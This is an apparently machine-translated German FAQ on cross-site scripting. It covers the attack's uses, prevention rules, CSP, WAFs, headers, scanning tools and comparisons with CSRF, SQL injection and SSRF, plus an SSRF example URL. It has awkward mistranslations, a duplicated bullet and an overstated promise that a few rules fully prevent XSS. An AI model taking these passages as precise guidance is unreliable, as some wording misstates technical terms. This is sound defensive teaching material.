Welche Rolle spielt JavaScript bei der Ausführung von XSS-Angriffen? Welche Rolle spielt JavaScript bei der Durchführung von XSS-Angriffen?

JavaScript hat normalerweise eingeschränkten Zugriff auf die Dateien oder Betriebssysteme der Benutzer und wird häufig in stark regulierten Kontexten in den meisten Webbrowsern verwendet. Deshalb wird oft angenommen, dass andere Injektionsangriffe, wie die Structured Query Language (SQL) Injektion, eine beliebte Methode, die Datenbanken löschen kann, eine größere Bedrohung darstellen als XSS-Schwachstellen. Jedoch kann JavaScript von Angreifern in schädlichem Material gefährlich ausgenutzt werden. Unter den Beispielen sind

• Jedes Element, auf das eine Webseite Zugriff hat, einschließlich Cookies und Sitzungstoken, kann von JavaScript aufgerufen werden. Ein Angreifer kann sich als Benutzer ausgeben, Aktionen in deren Namen durchführen und auf deren private Informationen zugreifen, indem er ein Sitzungscookie erlangt.

• Nur die Seite, auf der JavaScript ausgeführt wird, hat die Fähigkeit, das Document Object Model (DOM) eines Browsers zu lesen und zu ändern.

• Um sich mit einem Server zu verbinden, wird das XMLHttpRequest-Objekt von JavaScript verwendet, um Hypertext Transfer Protocol (HTTP)-Anfragen zu senden.

• HTML5-Anwendungsprogrammierschnittstellen (APIs) sind für JavaScript zugänglich. Dies impliziert, dass es Zugriff auf die Webcam, das Mikrofon, die Dateien und die Geolokalisierung eines Benutzers hat.

Daher, wenn ein Angreifer eine XSS-Sicherheitsanfälligkeit auf einer Webseite ausnutzen kann, um beliebiges JavaScript im Browser eines Benutzers auszuführen, ist die Sicherheit dieser anfälligen Webseite oder Webanwendung sowie ihrer Benutzer gefährdet.

Cyberkriminelle können JavaScript-Schwachstellen nutzen, um ausgeklügelte Angriffe zu entwickeln, einschließlich Phishing, Trojanern, Keylogging, Cookie-Diebstahl und Identitätsdiebstahl, indem sie dieses Wissen mit Social-Engineering-Taktiken kombinieren. Infolgedessen können XSS-Angriffe als Ausgangspunkt für größere, komplexere Eindringversuche dienen.

Was sind die besten Praktiken für Eingabevalidierung und -bereinigung?

Jede Programmiermethode, die eine effiziente Durchsetzung der syntaktischen und semantischen Korrektheit ermöglicht, kann zur Durchführung der Eingabevalidierung verwendet werden. Berücksichtigen Sie die folgenden grundlegenden Praktiken, um Ihre Anwendung zu sichern.

• Überprüfen Sie die Eingabe auf mehreren Ebenen: Setzen Sie die Validierung sowohl auf der Client- als auch auf der Serverseite in die Praxis um.
• Verwenden Sie die Ausgabe-Codierung: Durch die Darstellung von Sonderzeichen als ihre wörtlichen Äquivalente hilft die Kodierung der Ausgabe, XSS-Angriffe zu stoppen.
• Verwenden Sie vorbereitete Anweisungen und parametrisierte Abfragen: Verwenden Sie vorbereitete Anweisungen und parametrisierte Abfragen in Datenbankinteraktionen, um SQL-Injection zu vermeiden.
• Häufige Code-Überprüfungen und Sicherheitstests: Um Schwachstellen zu finden, führen Sie gründliche Code-Reviews und Sicherheitsbewertungen durch.
• Denken Sie an Eingabevalidierungsbibliotheken: Nutzen Sie vorhandene Bibliotheken, um die Sanitär- und Validierungsverfahren zu optimieren.
• Bleiben Sie über Sicherheitsanfälligkeiten informiert: Um die richtigen Gegenmaßnahmen zu ergreifen, bleiben Sie über die neuesten Bedrohungen und Schwachstellen auf dem Laufenden.

Wie können Entwickler XSS-Schwachstellen in Webanwendungen verhindern?

Um XSS-Angriffe zu verhindern, müssen Entwickler spezielle Zeichen aus Benutzereingaben korrekt filtern oder maskieren, bevor sie die Ausgabe kodieren, um reflektierte und gespeicherte XSS-Angriffe zu stoppen. Um zu verhindern, dass die folgenden Sonderzeichen böswillig missbraucht werden, sollten sie immer herausgefiltert oder escaped werden: <, >, ", ', ), (, ;, /, #, &.

Um DOM-basierte XSS-Angriffe zu vermeiden, sollten Entwickler die Ausgabe (Sinks) verschlüsseln und die Benutzereingabe (Sources) überprüfen. Um die XSS-Schwachstelle auszunutzen, kann der Angreifer bösartigen Code in die Eingabequelle einfügen, aus der das DOM liest.

Obwohl es mehrere XSS-Angriffsvektoren gibt, wird die Einhaltung einiger grundlegender Richtlinien diesen gefährlichen Angriff vollständig verhindern.

• REGEL #0: Nur nicht vertrauenswürdige Daten an erlaubten Orten einfügen.

• REGEL #1: Kodieren Sie nicht vertrauenswürdige Daten, bevor Sie sie in den Inhalt von HTML-Elementen einfügen

• REGEL #2: Kodieren Sie nicht vertrauenswürdige Daten, bevor Sie sie in gemeinsame HTML-Attribute einfügen

• REGEL #3: Bevor Sie nicht vertrauenswürdige Daten in JavaScript-Datenwerte einfügen, verwenden Sie JavaScript Encode.

• REGEL #4: Bevor Sie nicht vertrauenswürdige Daten in HTML-Stileigenschaften einfügen, kodieren Sie sie in CSS und validieren Sie sie streng.

• REGEL #5: Bevor Sie nicht vertrauenswürdige Daten in HTML-URL-Parameterwerte einfügen, kodieren Sie die URL.

• REGEL #6: Bereinigen Sie HTML-Markup mit einer jobspezifischen Bibliothek

• REGEL #7: Vermeiden Sie die Verwendung von JavaScript-URLs.

• REGEL #8: Verhindern Sie DOM-basiertes XSS.

Wie verhindere ich XSS in Java?

JSPs (Java Server Pages) sind voller Gefahren. HTML-Escaping in JSP-Vorlagen erfordert das Escapen aller auf der Seite gerenderten Daten. Schlimmer noch, Scriptlets können verwendet werden, um Geschäftslogik in JSPs einzufügen. Dies ist leicht zu übersehen oder zu missbrauchen, und es kann zu XSS-Sicherheitsanfälligkeiten führen. Die sicherste Wahl sollte die Standardeinstellung sein:

• Erwägen Sie die Verwendung einer Escape-by-Default-Ansicht oder von Template-Engines wie JSF oder Velocity. Wenn Sie nicht in der Lage sind, zu einem anderen Framework zu wechseln, verwenden Sie einen benutzerdefinierten EL-Resolver, der standardmäßig in JSPs anwendbar ist, wie zum Beispiel den Oracle ELresolver, andernfalls MÜSSEN alle Daten escaped werden.

• Scriptlets sollten nicht verwendet werden.

• Überprüfen Sie Ihr Projekt auf diese Bedingungen:

  semgrep --config p/minusworld.java-httpservlet-jsp-xss

Wie verhindert die Ausgabe-Kodierung XSS-Angriffe? Wie verhindert die Ausgabe-Codierung XSS-Angriffe?

Obwohl die Ausgabe-Kodierung eine entscheidende Verteidigung gegen Cross-Site-Scripting (XSS)-Angriffe darstellt, sollte sie in Verbindung mit anderen Sicherheitsmaßnahmen und Best Practices verwendet werden, um den Schutz von Benutzern und Webanwendungen zu verbessern. Effektive Verteidigungen gegen XSS-Angriffe umfassen HTTP-Sicherheitsheader, Content Security Policy (CSP) und Eingabevalidierung. Um sicherzustellen, dass vom Benutzer bereitgestellte oder nicht vertrauenswürdige Daten dem erforderlichen Format, Typ, der Länge und dem Bereich entsprechen, überprüft und filtert die Eingabevalidierung diese. CSP ermöglicht es Webanwendungen, Richtlinien und Standards für die Arten von Inhalten und Quellen festzulegen, die auf der Seite geladen und verwendet werden dürfen. Zusätzliche Sicherheitsinformationen und Anweisungen, wie XSS-Schutz, strenge Transportsicherheit, Frame-Optionen oder Referrer-Richtlinien, werden dem Browser über HTTP-Sicherheitsheader übermittelt.

Weil es verhindert, dass der Browser vom Benutzer bereitgestellte oder nicht vertrauenswürdige Daten als Teil des Webseiten-Codes interpretiert, ist die Ausgabe-Codierung tatsächlich unerlässlich. Zum Beispiel wird der Browser das Skript ausführen und eine Warnung generieren, wenn ein Benutzer `` in ein Kommentarfeld eingibt und die App es ohne Kodierung anzeigt. Größere Probleme wie Cookie-Diebstahl, Session-Hijacking oder Umleitung könnten aus diesem einfachen reflektierten XSS-Angriff resultieren. Durch die Umwandlung von Sonderzeichen in harmlose HTML-Entities stellt die Ausgabe-Codierung sicher, dass der Browser die Daten als reinen Text interpretiert und solche Angriffe vereitelt.

Was ist Content Security Policy (CSP)?

CSP ist eine Sicherheitsfunktion in Browsern, die XSS und andere Angriffe reduziert. Es funktioniert, indem es die Ressourcen (wie Grafiken und Skripte), die eine Seite laden darf, einschränkt und einschränkt, ob andere Seiten eine Seite einrahmen dürfen.

Eine Antwort muss einen HTTP-Response-Header namens Content-Security-Policy mit einem Wert, der die Richtlinie angibt, enthalten, um CSP zu aktivieren. Eine oder mehrere Direktiven, durch Semikolons getrennt, bilden die Richtlinie selbst.

Tatsächlich hilft die Funktion der Content Security Policy (CSP) dabei, bestimmte Sicherheitsrisiken zu verhindern oder deren Wahrscheinlichkeit zu verringern. Es besteht aus einer Reihe von Anweisungen, die von einer Website an einen Browser gesendet werden, um dem Browser mitzuteilen, die Fähigkeiten des Codes, der die Seite ausmacht, einzuschränken.

CSP wird hauptsächlich verwendet, um zu steuern, welche Ressourcen, insbesondere JavaScript-Ressourcen, eine Seite laden darf. Der Hauptzweck davon ist, die Website des Opfers vor Cross-Site-Scripting (XSS)-Angriffen zu schützen, die es einem Angreifer ermöglichen, schädlichen Code einzufügen.

Weitere Verwendungen einer CSP umfassen den Schutz vor Clickjacking und die Unterstützung dabei, sicherzustellen, dass eine Website ihre Seiten über HTTPS lädt.

Wie helfen Web Application Firewalls (WAFs) bei der Verhinderung von XSS?

Durch das Filtern, Überwachen und Verhindern von bösartigem Webverkehr und Angriffen auf Anwendungsebene wie DDoS, SQL-Injection, Cookie-Manipulation, Cross-Site-Scripting (XSS), Cross-Site-Request-Forgery und Dateieinbindung schützt eine Web Application Firewall (WAF) Webanwendungen und APIs.

WAFs zielen auf den Verkehr von Webanwendungen zum Internet als Verteidigung auf Layer 7 ab. Sie bieten Organisationen (und ihren Kunden) einen entscheidenden Schutz, indem sie betrügerische Anfragen identifizieren und darauf reagieren, bevor Webserver und Apps diese akzeptieren.

Daher ist eine der wichtigsten Sicherheitsmaßnahmen gegen XSS-Angriffe eine Webanwendungs-Firewall (WAF). Durch die Überwachung und Filterung des HTTP-Verkehrs zwischen Webanwendungen und dem Internet fungiert eine WAF als Reverse-Proxy-Server, der vor diesen Anwendungen platziert ist und sie schützt. WAF-Regeln können von Unternehmen eingerichtet werden, um URLs auf bösartige Skripte zu scannen und zu verhindern, dass diese an die Benutzer weitergeleitet werden. Durch das Erkennen von Varianten bekannter Bedrohungen und das Aufspüren von Versuchen, Regeln zu umgehen, bieten WAF-Lösungen mit maschinellem Lernen eine noch robustere Sicherheit.

Wie verbessern Sicherheitsheader wie X-XSS-Protection den Schutz gegen XSS?

Der Schutz von X-XSS Früher oft von Webbrowsern verwendet, ist der HTTP-Header eine Sicherheitsfunktion, die vor XSS-Angriffen schützt. Dieser Header weist den Browser an, bestimmte Dinge zu tun, wie die Seite zu bereinigen (gefährliche Teile zu entfernen) oder die Seite vollständig zu blockieren, um zu verhindern, dass das bösartige Skript ausgeführt wird, wenn er einen möglichen XSS-Angriff auf einer Webseite erkennt.

Die Aktivierung des X-XSS-Protection HTTP-Headers kann Benutzern auf veralteten Browsern immer noch ein gewisses Maß an XSS-Schutz bieten, was ihn relevant macht, wenn es um die Diskussion über die plattformübergreifende Kompatibilität und die Berücksichtigung einer Vielzahl von Website-Besuchern geht.

Die Schwierigkeiten bei der Einrichtung des X-XSS-Protection-HTTP-Headers, der Benutzern auf veralteten Browsern ein gewisses Maß an Sicherheit bietet, ohne bewährte Sicherheitspraktiken zu opfern.

Obwohl es als veraltet gilt und durch den Content-Security-Policy (CSP) Header ersetzt wurde, ist der X-XSS-Protection HTTP Header immer noch eine nützliche Sicherheitsfunktion für Benutzer älterer Browser.

Wie können Organisationen XSS-Schwachstellen erkennen und testen?

Das Finden und Beheben von XSS-Sicherheitsanfälligkeiten in einer Webanwendung kann herausfordernd sein. Fehler zu finden, wird am besten durch eine Sicherheitsbewertung des Codes und die Suche nach möglichen Einstiegspunkten in die HTML-Ausgabe einer HTTP-Anfrage erreicht. Beachten Sie, dass bösartiges JavaScript über eine Vielzahl von HTML-Elementen gesendet werden kann. Obwohl sie nur die Oberfläche einer Website betrachten können, können Nessus, Nikto und andere Tools dabei helfen, sie auf diese Probleme zu scannen. Es ist sehr wahrscheinlich, dass weitere Probleme auftreten, wenn ein Aspekt einer Website kompromittiert wird.

Wir erklären, wie man XSS in Webanwendungen erkennt und was man tun kann, um es zu vermeiden.

Manuelle Code-Prüfung und Tests durchführen

Das Ziel der Code-Überprüfung ist es, Sicherheitsprobleme in Programmen sowie die grundlegenden Ursachen zu erkennen. Es beinhaltet die Bewertung des Quellcodes einer Anwendung, um sicherzustellen, dass sie sich in ihrem spezifischen Kontext selbst verteidigt. "Wenn der Code nicht auf Sicherheitslücken überprüft wurde, liegt die Wahrscheinlichkeit, dass die Anwendung Probleme hat, praktisch bei 100%," so OWASP.

Die unten aufgeführten manuellen Verfahren können verwendet werden, um typische XSS-Schwachstellen zu entdecken:

• Finde den Code, der Benutzereingaben erzeugt.

• Überprüfen Sie, ob die Ausgabe kodiert ist.

• Bestimmen Sie den Code, der URLs verarbeitet.

• Ihre Codes sollten Unit-Tests durchlaufen.

• Führen Sie grundlegende Überprüfungen Ihrer Anwendung durch.

Automatisiertes Anwendungstesting

Um XSS-Schwachstellen in Online-Anwendungen zu testen und zu erkennen, können standardisierte Sicherheitstestmethoden und -werkzeuge verwendet werden. Einige der gängigsten Testmethoden sind wie folgt:

• Statische Anwendungssicherheitstests (SAST): Wenn eine Anwendung nicht in Betrieb ist, wird SAST verwendet, um sie zu schützen, indem der Quellcode bewertet wird, um Schwachstellen oder Hinweise auf bekannte unsichere Praktiken zu finden.
• DAST (Dynamic Application Security Testing): DAST-Tools interagieren mit Apps, um mögliche Sicherheitslücken über das Front-End aufzudecken. DAST-Tools haben keinen Zugriff auf den Quellcode; stattdessen führen sie Angriffe durch, um Schwachstellen mithilfe der Black-Box-Technik zu finden.
• IAST (Interactive Application Security Testing): IAST kombiniert die besten Eigenschaften von SAST und DAST. Es untersucht den Code auf XSS und andere Sicherheitsanfälligkeiten, während die App durch jede Aktivität, die mit der Anwendungsfunktionalität interagiert, verwendet wird.

Sie können XSS-Schwachstellen in Ihren Webanwendungen leicht testen und identifizieren, indem Sie die oben genannten Ansätze verwenden. Web-Schwachstellenscanner wie Netsparker, Acunetix, Veracode, Checkmarx und andere sind ausgeklügelte Werkzeuge, die Ihre gesamte Website oder Anwendung durchsuchen und automatisch auf XSS- und andere Sicherheitsprobleme überprüfen können.

Was sind die besten Penetrationstests-Tools zur Erkennung von XSS?

Cross-Site Scripting (XSS) ist eine weit verbreitete Schwachstelle in Webanwendungen, die effektiv durch Penetrationstest-Tools erkannt werden kann. Die folgenden sind einige der effektivsten Werkzeuge zur Identifizierung von XSS-Schwachstellen:

1. Burp Suite: Burp Suite ist ein weit verbreitetes Tool für die Sicherheitstests von Webanwendungen. Es ist mit Funktionen ausgestattet, die speziell dazu gedacht sind, XSS-Schwachstellen zu erkennen und auszunutzen.

   Hauptmerkmale:

   • Burp Scanner: Automatisiertes Scannen nach XSS-Schwachstellen.
   • Intruder: Benutzerdefinierte Payloads zum Testen von XSS.
   • Repeater: Manuelles Testen auf XSS-Injektion.
   • Erweiterungen: Die Nutzung von Add-ons wie "Turbo Intruder" und "ActiveScan++" kann die Erkennung von XSS verbessern.

   Edition: Professional (kostenpflichtig) und Community (kostenlos).

2. OWASP ZAP (Zed Attack Proxy): Ein Open-Source-Sicherheits-Scanner für Webanwendungen, der von OWASP gepflegt wird. Es ist sowohl effektiv als auch benutzerfreundlich bei der Erkennung von XSS.

   Hauptmerkmale:

   • Automatisiertes Scannen nach DOM-basiertem, gespeichertem und reflektiertem XSS.
   • Manuelle Testinstrumente, einschließlich des Fuzzers und der Breakpoints.
   • Passive Überwachung von XSS in HTTP-Antworten.

   Edition: Open-Source und kostenlos.

3. Acunetix: Ein kommerzieller Web-Schwachstellenscanner, der äußerst effektiv darin ist, eine Vielzahl von Schwachstellen, wie z.B. XSS, zu identifizieren.

   Hauptmerkmale:

   • Automatisierte Erkennung von XSS, die reflektiert, gespeichert oder abhängig von der Domain des Dokuments sind.
   • Fortschrittliche Crawling-Funktionen zur Erkennung versteckter Angriffsflächen.
   • Kontinuierliche Testintegration mit CI/CD-Pipelines.

   Edition: Bezahlt.

4. Netsparker: Ein kommerzieller Sicherheitsanalysator für Webanwendungen, der für seine Präzision bei der Identifizierung von Schwachstellen wie XSS bekannt ist.

   Hauptmerkmale:

   • Nachweisbasierte Scans zur Überprüfung von XSS-Schwachstellen.
   • Die automatisierte Identifizierung aller XSS-Varianten.
   • Integration in DevSecOps-Workflows.

   Edition: Bezahlt.

5. W3af: Ein Open-Source-Scanner für Schwachstellen in Webanwendungen und ein Exploitation-Tool.

   Hauptmerkmale:

   • Erkennung von XSS-Schwachstellen durch automatisierte Mittel.
   • Payloads, die für anspruchsvolles Testen angepasst werden können.
   • Integration mit anderen Tools, wie Metasploit.

   Edition: Open-Source und kostenlos.

6. XSSer: Ein spezialisiertes Werkzeug zur Erkennung und Ausnutzung von XSS-Schwachstellen.

   Hauptmerkmale:

   • Unterstützt eine Vielzahl von XSS-Injektionstechniken, einschließlich DOM-basiert, gespeichert und reflektiert.
   • Automatisierte Payload-Generierung und -Tests.
   • Integration mit Proxy-Tools wie Burp Suite.

   Edition: Open-Source und kostenlos.

7. SQLMap: SQLMap ist überwiegend ein SQL-Injection-Tool; jedoch bietet es auch einige Unterstützung zum Testen von XSS-Schwachstellen.

   Hauptmerkmale:

   • Payloads, die für XSS-Tests angepasst werden können.
   • Fähigkeiten für automatisiertes Scannen.

   Edition: Open-Source und kostenlos.

8. Nuclei: Eine robuste Anwendung zur Schwachstellensuche, die anpassbare Vorlagen verwendet.

   Hauptmerkmale:

   • Vorab erstellte Vorlagen zur Identifizierung von XSS-Schwachstellen.
   • Scannen mit hoher Geschwindigkeit für groß angelegte Anwendungen.
   • Einfache Integration in CI/CD-Pipelines.

   Edition: Open-Source und kostenlos.

9. XSStrike: Ein Tool, das speziell entwickelt wurde, um XSS zu erkennen und auszunutzen.

   Hauptmerkmale:

   • Fuzzing für XSS, das reflektiert, gespeichert oder DOM-basiert ist.
   • Kontextanalyse zur Erstellung von Payloads, die einzigartig für die Anwendung sind.
   • Automatisierte Payload-Generierung und -Tests.

   Edition: Open-Source und kostenlos.

10. Astra Pentest: Eine cloudbasierte Plattform für Penetrationstests, die XSS-Erkennung integriert.

    Hauptmerkmale:

    • Manuelle und automatisierte XSS-Tests.
    • Umfassende Schwachstellenberichte, die Empfehlungen zur Behebung enthalten.
    • Konsistente Überwachung auf XSS-Schwachstellen.

    Edition: Bezahlt.

11. Google's XSS Auditor (Veraltet): Es war zuvor in Chrome integriert und wurde verwendet, um XSS während der Tests zu identifizieren. Obwohl es eingestellt wurde, bleiben seine Prinzipien für Tests nützlich.

12. Manuelles Testen mit Browser-Entwicklertools: Obwohl es kein Werkzeug ist, ist das manuelle Testen mit Browser-Entwicklertools (wie Chrome DevTools) entscheidend für die Identifizierung komplexer XSS-Schwachstellen.

    Hauptmerkmale:

    • Browser-basiertes Payload-Testing in Echtzeit.
    • DOM-Inspektion zur Identifizierung anfälliger Stellen.
    • Testen auf Extremfälle und Umgehungen.

Welche Rolle spielen Bug-Bounty-Programme bei der Identifizierung von XSS?

Aus mehreren Gründen sind Bug-Bounty-Programme besonders gut darin, XSS-Schwachstellen zu finden. Die folgenden sind die Hauptmethoden, mit denen diese Anwendungen helfen können, XSS-Schwachstellen zu finden und zu beheben:

• Crowdsourced-Wissen: Ein umfangreiches Netzwerk unabhängiger Sicherheitsforscher, ethischer Hacker und Cybersicherheitsspezialisten mit unterschiedlichen Fachkenntnissen wird durch Bug-Bounty-Programme bereitgestellt. Diese Forscher verfügen häufig über Kenntnisse in verschiedenen Testverfahren, Sicherheitsanfälligkeiten und Angriffswegen. Organisationen können XSS-Schwachstellen finden, die interne Entwicklungs- oder Sicherheitsteams übersehen könnten, indem sie das kollektive Wissen der Gemeinschaft nutzen.

  Mehrere erfahrene Tester mit unterschiedlichen Perspektiven zu haben, erhöht die Wahrscheinlichkeit, XSS-Schwachstellen zu finden, die je nach Anwendung kompliziert und erheblich variieren können. Darüber hinaus sind erfahrene Bug-Bounty-Hunter häufig mit einer Vielzahl von Angriffsstrategien vertraut, einschließlich Payloads und Ausweichmanövern, die dabei helfen können, selbst die am schwersten zu findenden XSS-Schwachstellen zu lokalisieren.

• Praktische Experimente: Die Fähigkeit von Bug-Bounty-Systemen, tatsächliche Angriffe nachzuahmen, ist einer ihrer Hauptvorteile. Um Schwachstellen auszunutzen, verwenden Sicherheitsexperten, die an diesen Programmen teilnehmen, häufig dieselben Instrumente, Strategien und Verfahren wie Angreifer. Infolgedessen können XSS-Schwachstellen in dynamischen, realistischen Umständen bewertet werden, die widerspiegeln, wie böswillige Akteure versuchen würden, sie in der realen Welt anzugreifen.

• Erkennung nicht offensichtlicher Schwachstellen und Randfälle: XSS-Schwachstellen können gelegentlich subtil sein, insbesondere in komplexen Online-Anwendungen. Entwickler könnten es versäumen, alle potenziellen Eingabevektoren zu berücksichtigen oder bestimmte Randfälle zu ignorieren. Allerdings sind Bug-Bounty-Forscher darin geübt, diese Randfälle und nicht-traditionellen Angriffsflächen zu erkennen, die bei routinemäßigen Tests unbemerkt geblieben wären.

  Bug-Bounty-Hunter können XSS-Schwachstellen in diesen Bereichen aufdecken, indem sie ihre Kreativität und ihr tiefes Verständnis verschiedener Angriffswege nutzen. Dies hilft Organisationen, Schwachstellen zu beheben, die mit herkömmlichen Testverfahren schwer zu finden wären.

• Laufende und Ständige Tests: Bug-Bounty-Programme sind im Gegensatz zu standardmäßigen Schwachstellenbewertungen kontinuierlich. Sicherheitsforscher können die Anwendung weiterhin auf neue Schwachstellen, wie z.B. XSS-Probleme, testen, solange die Software betriebsbereit bleibt. Neue Funktionen und Features werden häufig in Web-Apps eingeführt, die sich ständig ändern. Diese kontinuierlichen Tests gewährleisten, dass mögliche Mängel, einschließlich solcher, die mit XSS zusammenhängen, sofort gefunden werden, sobald sie auftreten.

• Schnelle Identifizierung und Behebung von Schwachstellen: Bei der Entdeckung von XSS-Schwachstellen liefern Sicherheitsexperten in der Regel umfassende Studien, die das Problem, seine potenziellen Auswirkungen und mögliche Ausnutzungen beschreiben. Dies ermöglicht es Unternehmen, Schwachstellen schnell zu finden und zu beheben, bevor Hacker sie ausnutzen können. Bug-Bounty-Programme bieten Anreize zur Entdeckung von Schwachstellen, was eine verantwortungsvolle Offenlegung fördert und wichtige Schwachstellen priorisiert.

  Daher können Bug-Bounty-Programme den Prozess der Auffindung und Behebung von XSS-Schwachstellen beschleunigen, das Zeitfenster für Angreifer verringern und die allgemeine Sicherheitslage der Organisation verbessern.

• Zusammenarbeit und Feedback: Die Zusammenarbeit zwischen Sicherheitsforschern und den Entwicklungs- oder Sicherheitsteams der Organisation wird durch Bug-Bounty-Programme erleichtert. Forscher können häufig aufschlussreiche Kritik und Vorschläge zur Behebung der Schwachstelle oder zur Minderung ihrer Auswirkungen anbieten. Dieses kooperative Verfahren verbessert die Fähigkeit der Organisation, Sicherheitsprobleme, insbesondere solche im Zusammenhang mit XSS, schnell zu lösen.

Wofür kann XSS verwendet werden?

Die Angreifer können eine Cross-Site-Scripting-Schwachstelle ausnutzen, um die unten aufgeführten Aktivitäten durchzuführen:

• Übernahme der Benutzersitzung: Die meisten Online-Anwendungen verfolgen Benutzersitzungen, damit der Benutzer über viele HTTP-Anfragen hinweg identifiziert werden kann. Sitzungs-Cookies werden verwendet, um Sitzungen zu identifizieren.

  Der Set-Cookie-Header wird vom Server verwendet, um Ihnen ein Sitzungscookie zu senden, sobald Sie sich erfolgreich in eine Anwendung einloggen. Jetzt, wann immer Sie eine Seite in der Anwendung anzeigen oder ein Formular absenden, wird das Cookie (das jetzt im Browser gespeichert ist) in alle an den Server gesendeten Anfragen einbezogen. Auf diese Weise wird der Server Sie erkennen.

  Angreifer können XSS nutzen, um die Sitzung eines Benutzers zu übernehmen, indem sie den echten Benutzer nachahmen und Zugriff auf seine aktuelle Websitzung erhalten.

• Unbefugte Aktivitäten durchführen: Wenn die HTTPOnly-Cookie-Eigenschaft gesetzt ist, kann ein Angreifer keine Cookies mit JavaScript stehlen. Der Angreifer kann jedoch weiterhin illegale Operationen innerhalb des Programms im Namen des Benutzers über den XSS-Angriff durchführen.

• Phishing zum Stehlen von Benutzerdaten: XSS kann auch verwendet werden, um ein Formular auf die verwundbare Website einzufügen und Benutzerdaten mit diesem Formular zu sammeln. Dies wird als Phishing bezeichnet.

• Erfassen der Tastatureingaben durch das Injizieren eines Keyloggers: Angreifer können einen JavaScript-Keylogger in die verwundbare Webseite injizieren und alle Tastenanschläge des Benutzers auf der aktuellen Seite erfassen. Diese Art von Angriff kann durch die Verwendung von XSS durchgeführt werden.

• Diebstahl sensibler Informationen: Das Stehlen sensibler Informationen aus der aktuellen Sitzung des Benutzers ist ein weiteres gefährliches Verhalten, das ein XSS-Angriff erreichen kann. Angenommen, eine Online-Banking-Anwendung ist anfällig für XSS, und der Angreifer hat Zugriff auf das aktuelle Guthaben, Transaktionsdetails, persönliche Daten usw.

Was ist der Unterschied zwischen XSS und CSRF?

Cross-Site-Scripting (auch bekannt als XSS) ermöglicht es einem Angreifer, beliebiges JavaScript im Browser eines Opfers auszuführen. Ein Angreifer kann Cross-Site-Request-Forgery (oder CSRF) einsetzen, um einen verwundbaren Benutzer dazu zu bringen, etwas zu tun, was er nicht tun wollte.

• CSRF betrifft normalerweise nur einen Teil der Aktionen, die ein Benutzer ausführen kann. Viele Apps setzen im Allgemeinen CSRF-Schutzmaßnahmen ein, aber ein oder zwei Aktionen bleiben anfällig. Ein erfolgreicher XSS-Angriff hingegen kann einen Benutzer im Allgemeinen dazu bringen, jede Aktion auszuführen, zu der der Benutzer in der Lage ist, unabhängig von der Funktion, in der die Schwachstelle besteht.

• CSRF betrifft normalerweise nur einen kleinen Prozentsatz der Aktionen eines Benutzers. Viele Apps haben CSRF-Schutzmaßnahmen implementiert, aber ein oder zwei Aktionen sind immer noch anfällig. Im Gegensatz dazu kann ein erfolgreicher XSS-Angriff einen Benutzer dazu bringen, jede Aktion auszuführen, zu der der Benutzer in der Lage ist, unabhängig von der Funktion, in der die Schwachstelle auftritt.

Was ist der Unterschied zwischen XSS und SQL-Injection?

SQL-Injection ist eine weitere Technik, die von Hackern verwendet wird, bei der ein Hacker über ein Webseiteneingabefeld bösartigen Code in SQL-Abfragen einfügt. Diese Injektion ermöglicht es dem Hacker, das System des Benutzers zu unterbrechen und im Allgemeinen dem Angreifer den Zugriff auf Daten zu ermöglichen, die er sonst nicht erhalten könnte. Hacker können auf Informationen zugreifen, die der Benutzer nicht hat, und durch die Modifizierung dieser Programme kann der Hacker schließlich den Inhalt des Programms ändern. Hacker können diese Art des Hackings auf verschiedene Weisen durchführen, die alle recht erfolgreich darin sind, Zugang zu Benutzerdaten zu erhalten.

Die XSS- und SQL-Injection-Methoden sind beide unter Hackern verbreitet und werden beide verwendet, um ihre Ziele zu erreichen; dennoch ist es wichtig zu beachten, dass diese beiden Methoden Unterschiede aufweisen, unter denen wir die Sprache, die zum Schreiben von bösartigem Code verwendet wird, und die Funktionsweise dieser Skripte hervorheben können.

• Der Hauptunterschied zwischen einem SQL-Injection-Angriff und einem XSS-Injection-Angriff besteht darin, dass SQL-Injection-Angriffe dazu verwendet werden, Daten aus Datenbanken zu stehlen, während XSS-Angriffe dazu verwendet werden, Benutzer auf Websites zu leiten, von denen Angreifer Daten stehlen können.

• SQL-Injection ist darauf ausgelegt, Datenbanken anzugreifen, während XSS darauf abzielt, Endbenutzer anzugreifen.

• Cross-Site-Scripting ist beliebter und wird in JavaScript verwendet, während SQL-Injection die Structured Query Language abdeckt.

• SQL-Injection ist eine serverseitige Schwachstelle, die die Datenbank des Programms angreift, während XSS eine clientseitige Schwachstelle ist, die andere Anwendungsbenutzer angreift.

• XSS wird oft in JavaScript geschrieben, während SQL-Injection Structured Query Language (SQL) verwendet. Infolgedessen ist dies ein weiterer Unterschied zwischen XSS und SQL-Injection.

Was ist der Unterschied zwischen XSS und SSRF?

SSRF, Server Side Request Forgery, ist eine weit verbreitete Schwachstelle in webbasierten Anwendungen, die die Manipulation von Anfragen beinhaltet. Im Gegensatz dazu infiltriert XSS einen Befehl in das Programm, der den Browser dazu bringt, eine unerwünschte Aktion auszuführen. SSRF nutzt die Webanwendung aus, indem es sie manipuliert, um unbefugte Informationen zu erhalten.

Ein Beispiel für Server-Side Request Forgery (SSRF) könnte eine Website sein, die es Benutzern ermöglicht, Fotos, Audiodateien oder andere Medieninhalte durch Eingabe einer URL zu erhalten. Die Webanwendung ist sich bewusst, dass sie zur angegebenen URL gehen und das angeforderte Material abrufen muss.

Anstatt eine URL zu einem Bild oder Dokument bereitzustellen, geben Sie jetzt die URL zu Ihrem eigenen Administrationspanel an. Die URL scheint http://localhost/admin zu sein.

Eine unsichere Anwendung überprüft die URL nicht oder filtert solche Anfragen, stattdessen versucht sie, Ihnen Zugang zu gewähren. Diese Art von Angriff benötigt nicht die Beteiligung eines Drittopfers, da er nur zwischen dem Angreifer und der Anwendung stattfindet.

Durch Ausnutzung dieser Schwachstelle könnte eine böswillige Person möglicherweise unbefugten Zugang zu vertraulichen Daten in einer Datenbank erhalten (wie persönliche Benutzerdaten oder Backend-Daten) oder die Kontrolle über Systemfunktionen übernehmen, wenn angemessene Sicherheitsmaßnahmen nicht vorhanden sind.

Kann XSS bei Phishing- und Social-Engineering-Angriffen verwendet werden?

Ja, in Kombination mit Social Engineering ermöglicht es Kriminellen, ausgeklügelte Angriffe wie Phishing, Keylogging, Cookie-Diebstahl, Trojaner-Installation und Identitätsdiebstahl durchzuführen. XSS-Schwachstellen bieten die ideale Umgebung, um Angriffe in gefährlichere zu eskalieren. Zusätzlich kann Cross-Site-Scripting in Kombination mit anderen Angriffsmethoden, wie Cross-Site-Request-Forgery (CSRF), verwendet werden.

Wie häufig ist XSS?

